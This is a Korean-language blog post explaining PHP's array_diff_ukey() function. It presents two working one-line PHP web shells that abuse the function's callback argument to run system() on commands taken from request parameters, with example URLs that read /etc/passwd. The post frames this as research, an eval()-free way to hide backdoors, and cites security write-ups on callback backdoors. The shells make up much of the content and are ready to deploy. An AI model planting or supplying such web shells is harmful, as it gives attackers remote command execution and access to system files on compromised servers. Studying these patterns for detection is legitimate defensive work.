※ 주의사항 :
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.
( 1 ) array_diff_ukey() 함수
키를 기준으로 콜백 함수를 이용하여 배열의 차이를 계산하는 함수임.
기본 형식은 아래와 같으며 반환 값은 다른 인자에서 존재하지 않는 array1 의 모든 값들을 포함하는 배열을 반환함.
array array_diff_ukey ( array $array1
, array $array2 [, array $... ], callable $key_compare_func )
|
$array1
비교 원래 배열
$array2
비교하는 대상인 배열
$...
더 비교하는 대상인 배열
$key_compare_func
비교 함수는 첫 번째 인수로 두 번째 인수의 비교 결과를 되돌려줌.
( 2 ) array_diff_ukey() 함수를 이용한 PHP WebShell
<?php
@array_diff_ukey(@array((string)$_REQUEST['password']=>1),
@array((string)stripslashes($_REQUEST['re_password'])=>2),
$_REQUEST['login']);
?>
|
< URI 에 3 개의 파라미터가 필요한 PHP WebShell 코드 >
URL 입력 : hxxp://사이트 주소/webshell.php?password=cat /etc/passwd&re_password=&login=system
< 실행한 화면 >
여기서 stripslashes () 함수는 백슬래쉬를 제거하는 함수임.
비교 함수 변수 "login" 에 공격자가 제어할 콜백 함수를 설정하여 공격자가 원하는 코드를 URI 에 입력하여 출력하는 PHP WebShell 로써 실습한 URI 를 보면 password 파라미터에 원하는 시스템 명령어를 설정하고 login 파라미터에는 명령어를 실행 가능한 함수 system() 함수를 입력하여 해당 시스템 명령어를 실행시킴.
<?php
@array_diff_ukey(@array($_REQUEST['koromoon']=>1),
@array(''=>2),'system');
?>
|
< URI 에 1 개의 파라미터가 필요한 PHP WebShell 코드 >
URL 입력 : hxxp://사이트 주소/webshell2.php?koromoon=cat /etc/passwd
< 실행한 화면 >
위 첫 번째 코드는 파라미터 3개가 필요하지만 두 번째 코드는 파라미터 하나(필자가 정의한 koromoon 변수)에 원하는 시스템 명령어를 입력하고 코드상 미리 정의된 system () 함수를 통해 해당 시스템 명령어를 실행시킴.
일종의 eval() 함수를 대신할 One Line WebShell 코드임. (ex. @eval($_REQUEST['e']);)
참고 사이트 :
https://www.php.net/manual/en/function.array-diff-ukey.php
https://www.phpwelt.net/handbuecher/korean/function.array-diff.html
https://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html
https://sekurak.pl/backdoory-w-aplikacjach-php/
https://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
댓글 없음:
댓글 쓰기